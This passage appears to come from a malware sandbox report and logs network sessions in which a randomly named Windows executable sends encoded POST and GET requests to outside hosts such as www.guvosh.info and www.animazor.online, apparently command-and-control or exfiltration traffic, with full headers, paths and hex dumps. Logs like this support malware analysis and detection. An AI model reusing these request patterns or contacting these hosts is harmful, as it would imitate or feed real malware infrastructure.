Oct 3, 2024 18:16:00.609375000 CEST	5366	OUT	Data Raw: 4c 78 6d 39 31 46 47 70 53 33 55 39 39 62 64 56 2f 42 4a 34 68 68 6c 78 4f 55 55 33 6c 35 69 66 76 37 37 47 31 72 4a 30 31 64 51 48 6d 49 6e 64 38 6a 73 6a 62 58 79 59 65 62 69 39 79 4a 30 55 43 62 79 42 76 7a 66 4d 47 35 73 4b 4e 38 6e 6a 6b 55 Data Ascii: Lxm91FGpS3U99bdV/BJ4hhlxOUU3l5ifv77G1rJ01dQHmInd8jsjbXyYebi9yJ0UCbyBvzfMG5sKN8njkUutzhOOjKP3dImke9Zw1bQEUDhD5UwSYdTY0VozfoUYnIYaViDB9pdVyZnT7SImjtCv8QyCtT5FfE/LTupwAheP4REhlwuQffuWBedwtqE14cTPGTO1KZJXYkRdIvZTlfFQadUOZJ5j2lKS6n9Sz+oL8rQt3Vdghso
Oct 3, 2024 18:16:00.767977953 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:16:00 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 [TRUNCATED] Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.11.20	49794	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:03.294049978 CEST	515	OUT	GET /m4fe/?SLTxDJ=j+QGOmJgLx8aZTbQ/UU455ao2mlxc0BwRC8m2DvQUT3YjU8qv77b8K+aSHVJXg73d6cB6HYz/W+ec5eRF6coKG6Ok7VuH1Gqb2tjeoQuqK3f3rky9yZBMig=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.bejho.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:16:03.452441931 CEST	835	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:16:03 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.11.20	49795	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:08.627356052 CEST	781	OUT	POST /weoa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.guvosh.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.guvosh.info Referer: http://www.guvosh.info/weoa/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 71 74 74 66 35 61 36 6c 66 54 68 58 45 75 6a 6f 49 62 53 42 47 70 61 78 64 6a 31 5a 62 36 6e 67 73 75 78 6c 45 65 51 4d 49 57 72 36 55 31 75 71 42 46 53 4f 70 67 6e 36 42 67 7a 73 4b 76 69 37 55 2b 57 4d 48 4a 68 39 56 63 70 6b 2f 46 49 44 79 64 38 68 6c 41 35 64 57 6f 55 2b 72 49 42 79 72 45 59 6d 78 44 32 51 49 70 49 4a 37 6a 6d 4c 4c 52 31 6d 44 6f 72 4b 4d 55 58 4d 4b 4f 4c 7a 2b 49 35 39 58 73 77 36 73 4e 33 51 6c 77 4e 58 63 73 4d 55 46 6f 77 42 52 71 51 35 62 32 34 79 6c 55 64 7a 4d 57 30 72 4c 6f 39 76 34 4d 6c 4b 31 77 65 33 53 64 68 72 49 43 52 4a 62 54 52 57 67 3d 3d Data Ascii: SLTxDJ=Jqttf5a6lfThXEujoIbSBGpaxdj1Zb6ngsuxlEeQMIWr6U1uqBFSOpgn6BgzsKvi7U+WMHJh9Vcpk/FIDyd8hlA5dWoU+rIByrEYmxD2QIpIJ7jmLLR1mDorKMUXMKOLz+I59Xsw6sN3QlwNXcsMUFowBRqQ5b24ylUdzMW0rLo9v4MlK1we3SdhrICRJbTRWg==
Oct 3, 2024 18:16:08.792951107 CEST	595	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:16:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.11.20	49796	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:11.329756021 CEST	801	OUT	POST /weoa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.guvosh.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.guvosh.info Referer: http://www.guvosh.info/weoa/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 71 74 74 66 35 61 36 6c 66 54 68 52 6b 65 6a 76 70 62 53 48 6d 70 62 6f 74 6a 31 51 37 37 50 67 73 71 78 6c 45 32 2b 5a 71 79 72 36 77 78 75 72 43 64 53 4e 70 67 6e 6f 68 67 32 30 71 76 74 37 55 7a 70 4d 44 4a 68 39 56 49 70 6b 2f 56 49 41 46 78 37 7a 46 41 37 58 47 6f 57 77 4c 49 42 79 72 45 59 6d 31 76 63 51 4c 5a 49 4a 4c 54 6d 4b 71 52 32 6f 6a 6f 73 64 38 55 58 49 4b 4f 48 7a 2b 4a 57 39 54 74 34 36 76 31 33 51 6c 41 4e 57 4f 45 50 65 46 6f 4d 4e 42 72 30 35 4b 76 4d 70 56 59 53 31 4e 69 78 69 6f 77 6a 75 75 64 2f 58 48 45 36 30 42 42 54 76 34 37 35 4c 5a 53 4b 4c 70 6b 6e 53 61 2b 57 4c 70 32 57 6e 63 66 76 61 45 41 39 6d 64 6f 3d Data Ascii: SLTxDJ=Jqttf5a6lfThRkejvpbSHmpbotj1Q77PgsqxlE2+Zqyr6wxurCdSNpgnohg20qvt7UzpMDJh9VIpk/VIAFx7zFA7XGoWwLIByrEYm1vcQLZIJLTmKqR2ojosd8UXIKOHz+JW9Tt46v13QlANWOEPeFoMNBr05KvMpVYS1Nixiowjuud/XHE60BBTv475LZSKLpknSa+WLp2WncfvaEA9mdo=
Oct 3, 2024 18:16:11.495929956 CEST	595	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:16:11 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.11.20	49797	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:14.033932924 CEST	2578	OUT	POST /weoa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.guvosh.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.guvosh.info Referer: http://www.guvosh.info/weoa/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 71 74 74 66 35 61 36 6c 66 54 68 52 6b 65 6a 76 70 62 53 48 6d 70 62 6f 74 6a 31 51 37 37 50 67 73 71 78 6c 45 32 2b 5a 71 36 72 36 6c 6c 75 71 69 68 53 4d 70 67 6e 7a 68 67 33 30 71 76 4b 37 55 37 74 4d 44 4e 58 39 57 77 70 69 73 4e 49 55 6b 78 37 34 46 41 37 5a 57 6f 54 2b 72 49 55 79 72 56 66 6d 31 66 63 51 4c 5a 49 4a 49 62 6d 44 62 52 32 6c 44 6f 72 4b 4d 55 68 4d 4b 4f 6a 7a 2b 42 73 39 54 34 61 36 65 56 33 51 46 51 4e 61 62 77 50 57 46 6f 30 4f 42 72 73 35 4b 54 54 70 52 78 70 31 4f 2b 58 69 75 55 6a 73 50 6b 42 45 56 34 5a 33 7a 52 78 67 71 2f 65 48 76 62 55 4b 4c 55 38 57 62 33 36 4d 70 79 38 76 2b 48 42 47 6b 34 36 37 49 68 34 72 38 2b 49 31 42 4d 73 6d 48 6a 46 59 2b 6a 59 35 59 5a 36 6d 30 79 38 63 58 62 4c 58 47 2f 36 45 30 74 76 61 64 64 50 4e 4e 6f 33 31 4b 54 6c 2b 58 75 4f 34 75 54 67 46 57 2b 6d 6f 79 6f 4c 63 65 66 6b 65 6b 39 5a 57 6f 57 56 64 69 32 34 63 75 7a 4b 4c 6d 63 39 30 46 35 31 51 75 2b 69 6a 79 2b 34 78 59 5a 78 31 53 57 6c 44 4e 4b 72 6d 70 7a [TRUNCATED] Data Ascii: SLTxDJ=Jqttf5a6lfThRkejvpbSHmpbotj1Q77PgsqxlE2+Zq6r6lluqihSMpgnzhg30qvK7U7tMDNX9WwpisNIUkx74FA7ZWoT+rIUyrVfm1fcQLZIJIbmDbR2lDorKMUhMKOjz+Bs9T4a6eV3QFQNabwPWFo0OBrs5KTTpRxp1O+XiuUjsPkBEV4Z3zRxgq/eHvbUKLU8Wb36Mpy8v+HBGk467Ih4r8+I1BMsmHjFY+jY5YZ6m0y8cXbLXG/6E0tvaddPNNo31KTl+XuO4uTgFW+moyoLcefkek9ZWoWVdi24cuzKLmc90F51Qu+ijy+4xYZx1SWlDNKrmpzNj4+NRJgOH+xVy9hZOruPpI3FQxriQ/JAq83HUu0a3vFEqd5HvubG8yoxuSd41sTbfRhE1Hc5SqVidHMn8+v/6m4ykuxNJKwDD+qzCDACiCG7rXa7IadCaocpG6RsAOmgViuR6mOAjz6ZBu2/7YQXW89d57MDxs6Q+rNrMZ1Ti4Z8qJ/V2rr7yafM972Gy/iD/QQtbKQkxfNCrwwKVn6wt64lTPZ+89JmcOBjjrmg7+1H0UoHu9OUBC5M9o8p2BtBrxJwOyICt9J0CLDrhN+ox00Ewo4CtBRo7+iHpwwThpCygKaZnArSR7BJrhlcFyXfPY7rk1TPGih+LX+xY3QxwyrmnDVV2T0tpvDQpurwcuU5XI8Js8TBTt9NCDkqC3hdQhmb1T55pJ0hmkG/bC3BezacqlcXELdrsjkFTKGi17tetc3ppONwvz7vWTvZ5zvdj1wr8uIbzjJc2gxvgsDU4+l3hjp8m3W3oQs82CbX2SoDHm4F2vOHa6nI6TrSwKha1MqZY2QrZWKd1qmwzdfn3X9zYQ73KwyTfsOXRkzR8fuFjBGvPIVlCtKyK5q4Fkl+D8uV9cdBnXALm9v8EK+4VF54Fbrrk/ySNv4bWnhvbpK8cZ4wYwXxip5FsdSuUYHMBQE6ZJwO7fBQfX/dqhrlYdm1uHs327FUA [TRUNCATED]
Oct 3, 2024 18:16:14.033957005 CEST	5156	OUT	Data Raw: 57 4a 47 62 52 71 4c 64 57 39 53 54 65 6b 35 70 74 39 71 6f 4b 49 4d 62 51 39 4f 69 4b 33 61 30 61 6e 55 37 6a 4d 64 51 6d 4e 31 39 41 4e 61 48 7a 43 30 6d 53 58 48 75 2f 6f 39 65 37 61 61 6e 69 4e 36 6a 6f 43 4c 6f 59 33 74 76 39 70 39 63 43 7a Data Ascii: WJGbRqLdW9STek5pt9qoKIMbQ9OiK3a0anU7jMdQmN19ANaHzC0mSXHu/o9e7aaniN6joCLoY3tv9p9cCz8AvHRlqpKE8qPW1PbCWpc5t+pOk2sgv3i10Nd519wt4Mag4BqdH1dnkX071FdWSl4m6BfLkrN01Rm4uiycuvzL+peYbJB2I9JDlcGqIELvz8z/LPZ1vLYrvrXcik15HppfGl7xyKmaMkRwc1BwGgVMOlRNThchkpe
Oct 3, 2024 18:16:14.034020901 CEST	216	OUT	Data Raw: 53 35 2f 66 45 45 4a 56 4d 44 70 48 41 66 79 6e 6e 30 41 33 67 4b 55 79 45 53 4f 69 38 32 55 58 43 41 31 57 57 71 55 2f 4f 35 30 71 6b 6d 69 72 45 6c 73 7a 34 74 4a 37 57 4a 42 6b 4e 4f 56 68 6f 68 34 32 31 56 41 6f 69 38 73 35 78 6c 69 53 48 52 Data Ascii: S5/fEEJVMDpHAfynn0A3gKUyESOi82UXCA1WWqU/O50qkmirElsz4tJ7WJBkNOVhoh421VAoi8s5xliSHRXxcQ+eCB+MxNqdEc+/RO/PdsYs8D2grdFwpKBZkA7UOOXKuIsruFLBF4kHFDdaFmsSCgQo5D2HBc3u/xf/iOZ8x87OngxE6MuteSXrS8hcFLSQy2o1oKjFuOqIlI7u9+07kw==
Oct 3, 2024 18:16:14.201206923 CEST	595	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:16:14 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.11.20	49798	209.74.64.189	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:16.733154058 CEST	517	OUT	GET /weoa/?SLTxDJ=EoFNcPjpgMXDCm2GvpzDf2Up793BOIi+pKCezFiYD4jbj2Yo7D13E7BcxzwFrISbrXGSJXEIolRF+rdzKXlRzk56QF0257Aw5rMH1zy2O6JYE5jaN7phvns=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.guvosh.info Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:16:16.899935961 CEST	610	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:16:16 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.11.20	49799	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:22.127906084 CEST	793	OUT	POST /f57g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.animazor.online Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.animazor.online Referer: http://www.animazor.online/f57g/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 43 72 61 30 49 4e 33 71 4d 71 63 46 5a 4a 74 47 5a 6a 75 39 38 76 2f 63 48 55 64 77 4d 74 49 2b 47 2b 57 6d 2b 4b 57 31 68 74 71 70 70 6d 65 6f 51 4a 63 70 51 56 4d 4a 71 49 31 6c 43 58 6b 53 48 65 76 4f 71 66 7a 38 67 6b 67 50 67 2b 36 4d 51 4f 46 68 6c 33 74 2f 31 69 43 62 53 72 33 75 6e 70 69 4d 30 32 64 72 4c 67 58 6e 71 59 63 58 54 37 68 52 58 58 68 6c 49 57 6f 43 6d 57 45 4e 37 57 38 41 2b 68 4a 5a 54 71 4e 35 54 38 70 75 58 44 65 4b 58 35 70 6e 6b 65 7a 65 58 77 50 78 5a 6c 33 4f 32 74 2b 42 71 6a 41 45 74 57 71 52 68 58 4e 2b 54 62 2f 70 4d 6e 4c 49 56 65 72 55 6c 67 3d 3d Data Ascii: SLTxDJ=Cra0IN3qMqcFZJtGZju98v/cHUdwMtI+G+Wm+KW1htqppmeoQJcpQVMJqI1lCXkSHevOqfz8gkgPg+6MQOFhl3t/1iCbSr3unpiM02drLgXnqYcXT7hRXXhlIWoCmWEN7W8A+hJZTqN5T8puXDeKX5pnkezeXwPxZl3O2t+BqjAEtWqRhXN+Tb/pMnLIVerUlg==

